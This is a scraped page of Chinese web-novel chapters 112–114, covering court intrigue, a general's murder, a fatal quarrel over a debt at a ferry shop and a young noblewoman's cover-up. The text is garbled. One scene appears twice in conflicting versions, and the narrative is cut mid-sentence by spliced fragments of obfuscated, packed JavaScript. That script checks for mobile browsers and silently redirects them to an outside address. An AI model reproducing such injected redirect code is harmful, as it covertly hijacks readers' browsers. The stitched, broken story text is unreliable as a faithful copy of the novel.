话虽如此,他已经在心里盘算着,明晚说什么也得拉上文竹一起盯着这两尊活祖宗,以免再给自己添乱。 112. 讨债 「皇宫御花园。 夜色深沉如墨,昏黄宫灯映照朱墙金瓦。幽冷晚风穿堂拂过,带着隐约的血腥气息,沿着石径蜿蜒蔓延。 时枫缓步踏入御花园,玄色戎装染着风霜,破损披风猎猎作响。他手里按着腰间紫菁宝剑,眼底燃着孤狼般的怒火。 他回来了。 他与父亲时谦浴血奋战大漠边塞,正要彻底击溃匈奴联盟时,一道伪诏从天而降。朝廷指控时谦勾结外敌,意图谋反,赐三尺白绫,令其自裁。时谦断然抗旨,可敌人暗中策反近侍,终是一碗掺了砒霜的黄粳米饭,毒死了这位三朝元老。 朝廷素来忌惮父亲时谦,唯恐藩王割据一方。他按兵不动,只是想给自己的发小兄弟,留下最后一丝信任。 可惜,现实往往不尽人意。被人逼到死角,时枫自然是杀回京城,当面向首辅大人,兴师问罪。 然而,回京的第一晚,他却避开了所有守卫,悄悄潜入后宫御花园。 这里本该是四季常青之地,如今枯叶遍地,花枝折损,连池中锦鲤都消失不见,只剩一片死寂。 很快,碰到了苏绾。 苏绾伶仃伫立廊下,凤袍曳地,长发披肩,仅绾着一根金簪,额间一点朱砂。灯火微晃,将她映得妖冶诡谲。 听见脚步声,苏绾缓缓回首。 “时将军,你回来了。”唇间醉酒般梦呓,又或是失智般疯痴。 时枫的步子顿住,眸光一瞬不瞬地盯着她。 时隔一年不见,她变了,变得陌生,变得失控,变得……疯狂了。 他不是没听过宫中的那些传言——讲温如初以毒酒弑君,扶持自己与皇后的私生子登基,自封辅国大臣,摄政掌权。 而苏绾则掀起后宫腥风血雨,手段狠绝,翻手覆灭了司礼监,逼得皇后上吊,气得太后吐血而亡。她身上虽无皇后头衔,却已成为无冕之后。 她不该是这样的。 宫灯的光晕映在苏绾的眼底,照不亮她幽深的瞳色。她望着男人破损的披风,忽然轻笑一声,素白指尖勾过肩膀干涸的血痕,沾染了一点点暗红。 “这副模样,真狼狈。”她漫不经心道。 为了见她一面,他总不能大摇大摆趸进皇后寝宫。随手覆灭七八个大内侍卫,对他来说,尚且游刃有余。 “你是来杀温念的?”她轻声问,“还是来杀我的?” 男人沉寂无言。她说对了一半,他回来,还想再看她一眼。 素白指尖缓缓下滑,落在挺实的胸膛,停在他心口的位置,轻轻叩了叩,像是勾起一道无形的枷锁,令他动弹不得。 “你们这些男人,好无趣啊。”声音冷艳得像是一场蛊惑。 她慢条斯理地取下发髻上的金簪,在指间旋了旋,“连自己想要什么,都分不清楚。” 男人喉间溢出一丝苦涩的笑意。他如何分不清自己想要什么?他不能,也无力。错过了,就是错过了。 “真是没用。”她感慨道。 忽然,苏绾眼神一冷,毫无预兆地朝他心口狠狠刺去! 簪尖直直没入血肉,暗红血珠渗出,沾染了凤袍袖口。过程中男人岿然不动,甚至连眉头都未皱一下。 望着被战火雕刻出的冷峻面庞,苏绾手中力道一滞,疑惑道:“你不躲?” 时枫睇着那双溺死人的星眸,声音低哑:“你想杀就杀吧。” 死于她的石榴裙下,他心甘情愿。 苏绾微微偏头,嗤笑道:“吓唬谁?我想要你死,你断然活不了。” 时枫抬手握住了皓腕,苏绾想抽开,发现男人力道如铁。 “苏绾。”他低声唤她的名字,嘴角淌下一道血痕。 “都是我的错。” 倘若他能早点正视自己的内心,早点将她拉出泥淖陷阱……不对,一切都是他的错,是他对她不管不顾,甚至亲手将她推向了深渊。 他,才是导致她疯癫的罪魁祸首。 苏绾仿佛听到了世上最荒唐的笑话,“奴家何德何能,竟能让将军低头认错?” “是这个世界错了。”她在他耳边低语。 言毕,手腕一转,挣脱男人束缚,簪尖在他心口处狠狠一旋,再猛然拔出,留下一个渗人的血洞,瞬间鲜血喷涌。 时枫只觉心脏被人掏了出来,一跳一跳的,痛彻心扉。他低头瞥了一眼刽子手,女人举着血淋淋的金簪,正肆无忌惮地笑着,笑他的软弱,笑他的执着,也笑他的无可奈何。 可她的笑靥,好美,美不胜收。 夜风骤起,吹散了宫灯的火光,御花园陷入深深的黑暗。」 阿舟睁开眼。 窗棂外阳春白日,透过半开的窗缝洒落进来,浮尘在光晕里轻盈飞舞。 他下意识地抬手按了按胸膛,那道旧伤横亘在心口,随着指腹摩挲,泛起细微的触感。 他阖了阖眼,额角微跳。 不知怎的,距离京城越近,梦境越发诡谲,混乱得让他分不清是记忆,还是臆想。梦中他披坚执锐,马蹄踏碎城关烽火,刀锋染尽敌血。可无论场景如何变换,始终有一位女子存在其中。 她的脸美得不似凡尘之物,偏偏性子乖张得让人牙痒。或而一丝不卦,扮做美体盛宴魅惑他;或而抄起利器,毫不犹豫地往他身上捅;又或皇帝殡天时,被他搂在怀里亲昵,嘴里喊着别的男人名字。 他每每心如刀绞,可偏偏醒来后,那种被凌迟般的疼痛,竟带着几分甘之如饴的快感。他好喜欢她,简直到了为她痴狂的地步。 他疯了吧。 上元节那夜,他的确在徽州灯市撞见了梦中的那位美人。 灯影摇曳,人潮翻涌,她拎着一盏鱼灯从他面前飘然走过,翩若惊鸿,婉若游龙。蓦然回眸瞬间,仿佛兮若轻云之蔽月,飘摇兮若流风之回雪,教人忍不住屏息。 他悄悄尾随她进入深巷,一时情难自已,在烟火映亮的瞬间,覆上了那双唇。软若新雪,微微发凉,带着一点甜。 一瞬间,他沉溺其中不能自拔,等他回过神,她已消失人海。 再无机会相见。 阿舟闭了闭眼,指腹抚过心口旧伤,梦境与现实交错间,他忽然觉得,那道深入骨髓的疤痕,好像从一开始,就是他心甘情愿任她宰割。 可她是谁呢? 他想知道,想再见到她,更想揽她入怀,一亲芳泽。 也许,他是真的疯了。 忽然门外传来吵闹声,让他不得不收拢思绪,调整心态面对。 阿舟出门一看,客栈天井处乱作一团,几名官差正按着李老爹的手臂,一旁的阿喜也被拽住胳膊,动弹不得。 “你们干什么!”阿舟大声斥道。 领头的官差冷冷道:“奉县令大人之命捉拿人犯!颜家渡商铺的颜老七,一个时辰前被人发现死于非命。有目击者称,看到这两人从商铺匆匆逃走,显然就是杀人凶手。” 李老爹老脸涨得通红,拼命呐喊:“没杀人!就是吵嚷了几句,哪知道他就死了。” 阿喜更是急得大叫:“我们跟他要回欠钱,谁要杀人了!” 可官兵哪里听得进去,几人合力将李老爹按倒在地,铁链“哗啦”一声扣住他的手腕。 阿舟脑子“嗡”地一声,快步挡在二人面前,冷声道:“不可能,他们不会杀人。你们是不是弄错了?” 领头官差斜睨他一眼,不耐烦道:“目击者亲眼所见,难道还能冤枉他们不成?颜老七死前在商铺内和这两人起了争执,随后就被发现暴毙门口,除此之外,没有第二个嫌疑人。” 李老爹脸色煞白,刚要辩解,阿喜哭着扑上来:“是我杀的,让我赔命,与阿爹无关。” 李老爹见状,急道:“阿喜,糊涂!”连忙歪着脖子恳求:“人是我杀的,你们抓我一个就够了。” 可官差根本不听他辩解,提着李老爹的衣领,就要拿人。 阿舟攥紧了拳头,怒火中烧,眼看就要揍人行凶。 此时,院中响起一道沉稳的嗓音:“当场捉人,也得讲究证据。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15104306|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >众人循声望去,只见邵云礼不疾不徐地踱步而来,身后跟着晴雷、文竹。沈恪、沈枝意等人也不知何时现身,目光各异地落在院中混乱的场面。 沈恪一行人途经黄河泺口渡,准备循例搭乘官渡过河。邵云礼欲借机查探济南府的动静,探一探秦欢的底细,听闻殷潜的车马已于数日前渡河北上,正巧与秦欢和苏绾擦肩而过。机不可失,他索性拉着晴雷文竹乔装成外地商人,沿街搭讪百姓,打探消息。 另一边,没了晴雷等人的束缚,阿喜本想趁机溜出去逛街,哪知刚踏出门槛,就被李老爹一把拽住胳膊。 “颜家渡那个山羊胡,欠了咱们一笔劣质渔具的钱,”李老爹压低嗓音,眼底透着精光,“今儿个不如上门讨债去。” 阿喜眼睛一亮,摩拳擦掌:“等我叫上阿舟。” 结果被李老爹一口回绝:“官老爷千叮咛万嘱咐,不让阿舟在人前露面,咱可不能给人添乱。再说,光天化日之下,就咱父女俩去,看他敢抵赖不成。” 阿喜撇撇嘴,虽有些不满,到底还是点了头。 黄河泺口渡,江风猎猎,码头上行人熙攘,商贩吆喝,船夫们肩挑货物,往来于渡口之间。 “你个黑心鬼,竟敢坑老实人。”阿喜叉着腰,杏眼圆睁,指着铺子门口破口大骂,“卖的渔网又烂又破,害阿爹白忙活一场。今天你要是不赔双倍银子,我就砸了你这破铺子!” 一旁李老爹脸色铁青,沉声道:“你是拿渔民当冤大头吗?天底下没有这个道理。” 山羊胡翘着腿,坐在柜台后面剔牙,他冷笑一声,将牙签随手往地上一掷:“渔网卖出去就不属于我,打不到鱼是你们没本事,怪得了谁?” 阿喜气得不行,撸起袖子冲进店内,“岂有此理,找打。” 仗着自己是撑橹打渔的好手,平日里阿喜并不惧怕同人争斗,沙洲哪回搞事情,数她喊得最响亮。 山羊胡眼神一变,拍着柜台喝道:“反了你们了!这里是泺口渡,不是沙洲渔村,真当老子治不了你们?” “我偏不信了,这天底下就没有王法。”阿喜呛声道。 山羊胡眯起眼睛盯着他们,嗤笑道:“王法?在颜家渡,老子就是王法。” 李老爹皱起眉头,“当我老头子吓大的?你个小小撑船渡河的,还敢自称王法,笑死人了。” 哪知山羊胡阴狠道:“哼,你们别不信!知道半年前那个倒霉的将军是怎么死的吗?” 李老爹心头一跳,隐约感觉有哪里不对:“不是说朝廷赐死的吗?” “呸,朝廷赐死的……”山羊胡咧开嘴,露出一口黄牙,眼里透着得意的狠劲,“是老子亲手送他上路的。” 此言一出,李老爹和阿喜皆是一震。 这半年来,阿舟一直噩梦连连,记忆混乱,而他出事的时间,正好与这位将军被害的时间对上。 阿喜低声对李老爹说道:“阿爹,是他、他杀的阿舟。” 李老爹翻检过阿舟的衣物,自然知晓阿舟就是那位落水将军。 此人不善。 山羊胡见两人被他唬住,不禁有些得意,更加肆无忌惮道:“老子连大将军都不放在眼里,你们俩杂碎,还想跟老子斗?想瞎了你们的心!快点滚出去,别脏了我的铺子,打扰我做生意。” 说着,两手一挥,做轰人出门状。 眼见索赔无望,李老爹怒极,扑上去掐住山羊胡的脖子,“你个杀千刀的,竟敢害阿舟!” 阿喜顺手抓起门口的木棍,狠狠朝山羊胡的后脑勺砸去。 “梆!”山羊胡闷哼一声,双眼翻白,整个人瘫软在地,动也不动。 李老爹愣住了,阿喜也愣住了。 二人大气不敢出,盯着地上的山羊胡,李老爹颤着手探了探他的鼻息,顿时脸色惨白:“没、没气了……” 阿喜心脏狂跳,慌忙扔掉木棍,拉着李老爹:“快逃。” 父女二人仓皇逃离现场,留下地上躺倒的山羊胡。临走前,阿喜细心地阖上商铺大门。 113. 真凶 这日,沈恪一行人途经黄河泺口渡,准备循例搭乘官渡过河。 从苏州到北京,本可沿海直行北上,或者走海路。但不知怎么搞的,沈恪竟然选择向西行了一段距离,然后走中路再北上,由此途径徽州,并耽搁了一段时间。 邵云礼猜测,沈恪多半是想拖延时间,以遮掩阿舟行踪。然而一路走下来,并没有遇见什么敌人,也无任何事情发生。纯粹是沈恪的老毛病犯了,一味地采取迂回蜿蜒战术,不让敌人看穿自己的路线及老底。 等到了黄河渡口,一打听,得知殷潜的车马已于日前渡河北上。正好,邵云礼欲查访济南府周边的动静,探一探秦欢的底细,他索性拉着晴雷文竹乔装成外地商人,沿街搭讪百姓,打探消息。 另一边,没了晴雷等人的束缚,阿喜本想趁机溜出去逛街,哪知前脚刚踏出门槛,就被李老爹拽住了胳膊。 “还记得颜家渡那个山羊胡吗?欠了咱们一笔劣质渔具的钱款未还。”李老爹压低嗓音,眼底透着精光,“不如上门讨债去,省得日后再烦扰跑腿。” 闻听有钱可赚,阿喜眼睛一亮,摩拳擦掌:“待我叫上阿舟,给咱们撑门面。” 结果被李老爹一口回绝:“那帮官老爷千叮咛万嘱咐,不让阿舟在人前露面,咱可不能给人添乱。再说,光天化日之下,看他敢抵赖不成。” 上次在徽州,阿喜强拉着阿舟逛灯市,回来迟了些,被晴雷逮住了狠狠训了一顿。后半路程,阿喜再不敢惹是生非,她一想是这么回事,小脑袋瓜使劲点了点。 黄河泺口渡,江风猎猎,码头上行人熙攘,商贩吆喝,船夫们肩挑货物,往来于渡口之间。 李老爹四下环顾,故意当着邻里街坊面,大声道:“咱也不是无凭无据要讹诈你。”说着,掏出皱巴巴的票据,上面盖了“颜家渡”印章,“去年四月五张渔网十把鱼叉,白纸黑字写着‘仨月包换’。” “你个黑心鬼,竟敢坑老实人。”阿喜杏眼圆睁,指着商铺招牌訾骂:“卖的渔网又烂又破,叉头碰着石头就卷刃,害得我和阿爹白忙活一场。今儿不赔双倍银钱,姑奶奶掀了你这黑店!” 见有人登门闹事,铺子里的伙计见惯不惯,这会子都退出门去。 山羊胡翘着腿,坐在柜台后面慢条斯理剔牙,斜眼睨着父女俩,忽然将牙签弹向阿喜眉心,“渔网卖出去就不属于我,打不到鱼是你们自己没本事,怪得了谁?” 沾着唾沫星子的槐木刺扎进皮肉,阿喜眼底燃起怒火,抄起门边竹竿横扫货架,腌鱼干噼里啪啦砸落,“岂有此理,竟敢欺负渔民,找打。” 仗着自己是撑橹叉鱼的好手,平日里阿喜并不惧怕同人争斗,沙洲哪回搞事情,数她喊得最响亮。 对方颐指气使,山羊胡眼神一变,拍着柜台,站起身喝道:“这里是泺口渡,不是沙洲渔村,敢在老子面前大呼小叫,反了你们了!” “欠了钱还这么嚣张,这天底下有没有王法?”李老爹呛声道。 “王法?”山羊胡眯起眼睛,嗤笑一声:“在泺口,老子就是王法。” 阿喜撇撇嘴,“你个小小撑船渡河的夯货,还敢自称王法,笑死人了。” 哪知山羊胡阴狠道:“哼,你们别不信!知道半年前那个倒霉的将军,怎么死的吗?” 对方突然提起这茬,令李老爹心头一跳,“不是说朝廷赐死的吗?” “呸,朝廷赐死的……”山羊胡咧开嘴,目露凶光:“是老子亲手送他上路的。” 李老爹和阿喜皆是一震。 阿喜对李老爹低声道:“阿爹,是他,他杀的阿舟。” 李老爹翻检过阿舟的衣物,早就知晓阿舟的身份非同寻常。仔细算一算,阿舟出事的时间,正好与这位将军被害的时间对上。 此人不善。 山羊胡见两人被他唬住,不禁有些得意忘形,更加肆无忌惮道:“老子连大将军都不放在眼里,你们两个杂碎,还想跟老子斗?想瞎了你们的心!快点滚出去,别脏了我的铺子,打扰我做生意。” 说着,两手一挥,做轰人出门状。 眼见索赔欠款无望,再加上对方害人的狠绝,令李老爹怒火中烧。他蹭得跳上柜台,老树根似的手掐住山羊胡的脖子,“你个杀千刀的,竟敢害阿舟!” 山羊胡抓紧对方两手,用力向自己方向一拖,竟将李老爹拉下柜台,两人缠斗翻滚起来。 “阿爹,我来帮你!”阿喜抄着竹竿绕进柜台,愣头愣脑劈向对方膝窝。 结果被山羊胡一脚踢开,紧接着,一个“鲤鱼打挺”翻身跃起。粗壮手肘环绕着李老爹的脖颈,勒得他几乎要晕厥过去。 木屑纷飞间,阿喜摸到柜台下的铁秤砣,抡圆了砸向山羊胡后脑。 “梆!”山羊胡闷哼一声,双眼翻白,整个人瘫软在地,动也不动,血珠溅上“童叟无欺”的匾额。 李老爹愣住了,阿喜也愣住了。 二人大气不敢出,李老爹颤抖的手探向他的鼻息,顿时心灰意冷,“没气了。” 阿喜慌忙扔掉秤砣,“快逃。” 父女二人仓皇逃离现场,留下躺倒的山羊胡。临走前,阿喜细心地阖上商铺大门。 ****** “是我杀了人!” 阿喜的声音在冷冽空气中炸开,震得天地仿佛都静止了一瞬。 众人齐刷刷地望向她,连官差们的动作都僵在半空,街道行人纷纷驻足,压低声音交头接耳,目光透着好奇与惶恐。 沈恪立于阶前,披风在狂风中翻卷,目光冷然如铁:“既然认罪,那便按律办事。来人,将两名嫌犯拿下。” 官差得令,立刻扑上前去,扣住李老爹和阿喜。 阿喜惊慌挣扎,拼命想挡在父亲身前,可她瘦弱的身躯哪里敌得过几名大汉?李老爹被按倒在地,冰冷的铁链锁住手腕,他奋力挣扎,嗓音嘶哑:“求官老爷高抬贵手,放过阿喜。人是我杀的,与她无关啊!” 阿喜猛摇着头,泪水滚落,“不,是我做的!阿爹,你别乱认。” 沈枝意静静望着这场混乱,忽而迈步上前,拽住沈恪的衣袖,“爹爹,事情还没弄清楚,他们定有苦衷。” 沈恪沉寂无言。 沈枝意仰头望着父亲,不住恳求:“阿喜不过是个小姑娘,真要下了牢狱,哪里还有活路?” 寒风掀起花白发须,沈恪缓缓开口:“人命关天,岂能徇私?” 老将军态度坚定,沈枝意咬着唇,却也无计可施。 忽然,阿舟上前挡在阿喜身前,声音铿锵:“让我来偿命。” 众人皆惊,连风都像是顿了一瞬。 沈恪目光一沉:“你说什么?” “颜老七欺辱百姓,鱼肉乡里,阿喜杀他,不算错。”阿舟深吸一口气,“既然律法不容她,那这条命,我替她担。” 沈枝意几乎不敢相信自己的耳朵,“阿舟哥哥,你疯了吗?” 阿喜也拼命喊道:“不要,我不要你替我死。” 李老爹眼睛发直,嘴里喃喃:“不行的,这样不行的。” 沈恪却不为所动,吐出两个字:“拿人。” 官差们闻令拔刀,锋刃在日光下泛着冷光。 电光火石之际,沈枝意退后一步,兀自拔下发髻簪子,反手抵在脖颈,朝着沈恪跪下,“爹爹,卿卿愿以性命担保,请爹爹收回成命。” 言毕,她手腕一紧,簪尖刺破细嫩的肌肤,渗出一丝血痕。 “卿卿,胡闹!” 宝贝女儿竟然以性命相要挟,担保毫无关系的两位渔民,令沈恪颇为震撼,一时竟忘了出手阻拦。 忽然凌空飞来一掌,骤然劈掉手里簪子,拉扯小小身板向一边栽歪。 众人定睛望去,阿舟右手揽住沈枝意,漆黑的凤眸盯着她,一言不发。 沈枝意喘息未定,侧眸瞥了一眼身后的男人,不禁脸颊泛红,“阿舟哥哥。” 老将军痛心疾首,跺脚道:“你是想让爹爹痛死吗?” 缓和了半晌,沈恪垂丧道:“罢了,念在阿喜年幼无知,且颜老七鱼肉乡民,这桩案子,就此了结。” 老将军发了话,官差纷纷收刀。 此时,院中响起一道沉稳的嗓音:“好精彩的一出戏!” 众人循声望去,只见大理寺卿邵云礼不疾不徐地踱步而来,身后跟着晴雷文竹,并其他几位官差。 邵云礼带人寻访济南府街巷,从百姓口中渐渐收罗到了一些有价值的线索。 讲的是去年夏天,黄河渡口将军落水事件,与颜家渡有关联。邵云礼见话已入港,欲再深问几句,结果百姓讳莫如深,不愿再讲。 他只好亲自去颜家渡商铺查探一番,刚到了现场,就发现一桩命案。 商铺掌柜颜老七被人杀死,尸体横陈杂货铺门口。左邻右舍皆称,早些时候,曾看到一对渔民同颜老七争吵。 大理寺卿立即开展现场验尸,结果发现事情并非那么简单。他蹲下身,仔细翻检了一番,忽然在腰间束带发现了一点红色印记,像是被什么东西蹭过一样。 他拿出帕子擦拭,细细端详,随即勾唇一笑:“有意思。” 邵云礼不得不重新整理思绪,跟随官差脚步去捉拿嫌犯。 结果来到了李老爹的客栈。 “下官来迟,险些错过压轴大戏。”邵云礼逡巡四周,目光停在沈恪身上,拱手道:“沈大人,此案尚未厘清,不知可否让下官查上一查?” 沈恪见邵云礼到来,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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睇着沈恪离去的背影,邵云礼吁了口气,袖角拭了拭额间湿汗。 所谓“红丝”,“孔雀锦”,只不过是邵云礼看见沈枝意的衣着后,即兴创作的想法。他从山羊胡尸身上提取到的衣物碎料,根本无法辨认出自于谁,说是隔壁大婶的红褂子,也有可能。 真正让邵云礼确定凶手是谁的,是沈恪的反应——慌乱得没有道理,完全不符合久经沙场的老将军性格。 沈恪铁了心庇护自己的宝贝女儿,此案只能不了了之。可恨陷害时枫的凶手颜老七,就这么不明不白的挂了,真相永远沉没于黄河底。 若时光倒回一个时辰之前,沈枝意又是如何“替”阿喜喊冤的? 她一早发现阿喜父女不在,心知这对莽撞的乡下人又闯了祸,怒从心头起,立刻带着侍卫四处寻人。很快,她在颜家渡的商铺发现了李老爹和阿喜的身影。 那时,阿喜与李老爹正与商铺掌柜颜老七争吵,言辞激烈。沈枝意站在门外,饶有兴致地看着这一幕,并未急着现身。 片刻后,李老爹上前与山羊胡缠斗,阿喜忍无可忍,操起身旁的秤砣狠狠砸向山羊胡。那力道的确不小,可毕竟还是个小姑娘,山羊胡只是被砸晕了过去,尚有微弱的气息。 待阿喜父女匆匆逃离,她才慢悠悠地走进商铺,见山羊胡倒在地上,嘴角带血,便吩咐手下:“泼点茶水,让他醒醒。” 侍卫依言照做,热茶兜头泼下,山羊胡浑身一激灵,颤巍巍地睁开眼,见眼前竟是个美貌非凡的女子,刚要说话,沈枝意淡淡抬眸。 身侧力士心领神会,抬掌对准山羊胡的天灵盖,重重拍下。 七窍流血,当场毙命。 沈枝意蹲在地上注视尸首,眸中没有丝毫波澜。她抬手掸了掸袖口,似是嫌地上太脏,轻声吩咐:“收拾一下。” 沈恪得知此事,气得白胡子直抖,却也拿她毫无办法,“你这丫头,这般胡闹……” 沈枝意不以为然,“不过是顺水推舟,帮阿喜收拾个烂摊子罢了,她还得感谢我呢,” “再说了,”她眼波微转,“这件事,未尝不能拿来做点别的文章。” “枫哥哥会感激我的。”佳人笑意更深。 于是,便有了沈枝意在沈恪面前,苦苦为阿喜求情的戏码——她哭得泪眼婆娑,嘴里满是“阿喜是无辜的”,“阿喜是个姑娘,不能坐牢”的字句,仿佛真心实意地为阿喜鸣不平。 她一心想着给时枫送个人情,以此拿捏他控制他,不料搬石头砸了自己的脚。 世人皆道沈枝意是沈恪掌心的明珠,娇贵、聪慧、心善,可谁又知,她这份“心善”底下,藏着怎样一副心肠。 阿喜不明白,阿舟也不懂。 阿喜撅着小嘴,“臭阿舟,随随便便就给人偿命,让人卖了都不知道。” 阿舟挠挠头,“不然呢?总不能眼睁睁看着你掉脑袋啊。” 阿喜正色道:“一命偿一命,这笔买卖忒不划算。” “你应该攒足了劲头,去反杀那害我又害你的仇人。” 反杀仇人吗? 114. 难料 二月倒春寒,雨雪初霁,驿站窗外枯枝滴落着化雪的水珠,声音清脆如玉碎。 秦欢坐在书案前,手里握着一截削得光滑的桃木。膝旁的炭炉燃着火苗,案上零散铺着小刀、砂纸、蜡布等物,以及一碗漆黑的清油。 他拈起小刀,扣住桃木,开始慢慢雕琢。刀刃划过木枝,发出细微而轻的沙沙声。 刚踏入顺天府辖境,便收到济南送来的急报——颜家渡的颜老七,在自家铺子里被人击毙,凶手逃之夭夭。知府暗中查访后,竟发现此案背后牵涉福建都指挥使沈恪,而大理寺卿邵云礼亲自出面,洗脱了一对渔民父女的嫌疑。 秦欢咬了咬牙。 从杭州出发以后,秦欢先是拉着殷潜向西拐去徽州老家,与其商议由殷潜出面请旨,将贵妃太子移到徽州休养——青州距离京城过近,终非安全之地,唯有避开风暴中心,方能确保母子平安。待贵妃太子安然离京,再无后顾之忧,下一步棋才能稳稳落子,同内阁、后宫、朝堂三方角力,伺机而动 殷潜一看,局势严峻紧迫,自己手中的筹码殆尽,单凭一己之力,加上一个未入仕的郎中,难以扭转乾坤。可事已至此,退无可退,殷潜只得将苏绾的身世和盘托出。 秦欢自是吃惊不小,前世可没有任何人提起过这一茬,连片鳞半爪的消息都未曾听闻。然而此乃天赐良机,又逢小皇子并非皇帝亲生骨血,凭这两颗棋子落盘,可令皇帝收回成命,断绝废储立新的念头。 一着活棋,盘活全局。 若再得沈恪兵权相助,胜算又能添上几成。 可沈恪那边,却另有风云暗涌。 派出去的探子回报,大理寺卿邵云礼跟随沈恪一行北上。邵云礼与沈恪素无交情,反倒与时枫曾为同袍。又听说那位“渔民女婿”生得高大英挺,眉眼间竟与前京卫指挥使极为相似。 秦欢的心头,沉沉落下巨石。 哪里还需要猜测?时枫未死,活得好好的,且已悄然回局。 他以为自己不留退路,谁曾想对手绕后反杀,直逼咽喉。 下一步棋,该如何落子?是按兵不动,静观其变?还是趁局势尚未彻底逆转,合纵连横,先发制人? 毕竟,他与时枫,有着一个共同的敌人——温如初。 秦欢雕刻的手法极稳,先削去多余枝节,将簪身削得修长光润,随后在簪首勾勒出桃花的雏形。簪尾稍稍一弯,犹如和风拂过,十分灵动。 偶尔将簪子举到光下端详,见线条合意,便用砂纸一点一点打磨,使其更加细腻光滑。 待纹理打磨细致,再以毛笔蘸清油,涂抹簪身。清油渗入桃木,泛出莹润的光泽。 最后,取金线缠绕簪首桃花底部,恰如点缀的露珠,低调不显奢华。 簪成。 他将桃木簪放在掌心,摩挲簪身的温润。 “倒是件称心的生辰贺礼。” 二月廿二,是她的生辰,他从前就知道。 上一世某年,雪消春浅,东风拂过红墙碧瓦,带着几分料峭的寒意。 冷宫里,秦欢站在炭盆旁,挑了挑火候,炭灰细细扬起。他端起一碗煮好的寿面,汤色清亮,面条绵软,碗里浮着一颗煎得金黄的荷包蛋,拎着袖子,端进内殿。 苏绾靠在榻上,半披着绯色锦被,听见脚步声,才缓缓抬头看他。 秦欢将碗搁在食案上,推到她手边:“温夫人,今日是你的生辰,能否赏光吃一碗长寿面?” 苏绾盯着那碗面,半晌未动,忽然笑了下:“你怎知道?” 秦欢挑眉:“我可是大夫。” 苏绾怔怔望着他,指尖抚上平坦的小腹,语气温柔而飘渺:“这位秦大夫,你可知,我怀了你的孩子?” 秦欢握着瓷勺的手顿了顿,垂下眼睑,半分惊讶也无。 她瘦得厉害,宫里吃□□致,可她吃得极少。再加上正月上元节,她偷偷跑到冷宫探望他,结果受了风寒,大病了一场,身子拖得只剩一把骨头,哪里来的孩子? 由此可知,苏绾的疯痴之症,早已病入骨髓。 他心知肚明,看破不说破,慢条斯理地搁下碗,拉了锦墩坐下,两手覆上一双柔荑,配合着她的幻想,低低地笑着:“真好。怀多久了?” 苏绾摇摇头:“不记得了,大约两个月吧。” 秦欢顺着话头逗她:“才两个月,肚子还没显怀。” “很快就会显了。”苏绾偏头望着他,眼神柔软得像初春化雪:“他会长得像你,还是像我?” 秦欢弯起唇角:“像你。” 苏绾从他手里挣出葇荑,摸了摸他的脸,“可我希望他像你。” 她的手滑落,搭在秦欢滚烫的掌心里,“聪明,果决,心思缜密。” 秦欢攥了攥她的凉手,“若是个小姑娘呢?” 苏绾愣了愣,莞尔道:“那必是像我呀,让你拿她没办法。” 秦欢忍不住捏了捏她的脸颊。 苏绾靠近些,顺势倚上他肩膀,“你想生几个孩子?” 秦欢睇着她苍白的脸色,轻声道:“几个都行,随你。” 窗外的风敛了几分,烛火安静燃烧,苏绾累乏了,靠着秦欢的肩膀阖眼休息。 秦欢默默将那碗已经凉了的面条搅了搅,舀起荷包蛋,一口一口地吃完。 陪着苏绾过完二十一岁寿辰之后,不消两个月的时间,温如初找上了他的门。以最为简单粗暴的方式——麻袋套头,丢掷在野兽出没的山洞里,结束了他短暂的一生。 往事不可复。 屋外响起一阵急躁的叩门声。 秦欢抬眸瞥了一眼,屋门已被推开,一道颀长的身影趸了进来。 一袭竹月色襕衫,衣角尚沾着几许寒露,萧染踏进屋时,随手抖了抖袖摆,水珠落在门槛,闪着细碎的光点。 他懒懒倚在门边,目光扫过案上未及收拾的刻刀与木屑,“前面便是京郊大营,驻扎三万精兵。因京卫指挥使殉职,暂由大理寺卿代为管理。” 秦欢听得分明,不动声色地将桃木簪纳入螺钿漆盒,盖上盒盖,妥帖封存。 一连串流畅的动作,引得萧染眯了眯细长眼眸,脚步一错,凑近两分,脖子伸得老长,狐疑地盯着那方漆盒,“什么?” 秦欢掸了掸衣袖,随口道:“小玩意儿。” 萧染不依不饶,手指搭上漆盒一角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132447|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,似要打开来看。秦欢随手一拂,不徐不疾地将漆盒挪开,抬眸睇着他,“你还有别的事么?” “啧。”萧染颇有些不甘地收回手,顺势在对面的太师椅坐下,长腿搭在案边,“你送她簪子?她若是不收呢?” 秦欢以袖口拂了拂案上残留木屑,漫不经心道:“我自己留着。” 这一路,萧染这孩子好似开了屏的孔雀,各种争奇斗艳,就为了博得美人青睐。 他从前不是这样的,冷硬得像块石头,一门心思只想替母亲争得名分,在这京城权谋之中搏出一席之地。 如今铁树开花,竟然对苏绾动了心思。 着实令人头疼。 少年眯起细长的眼眸,骨节分明的手指在扶手敲了敲,“你说……她到底会选谁?” 秦欢微微一笑:“你且试试看。” 这郎中一贯笑里藏刀,让人不寒而栗。萧染盯了他片刻,终究败下阵来,懊恼道:“罢了罢了,不提这个。” 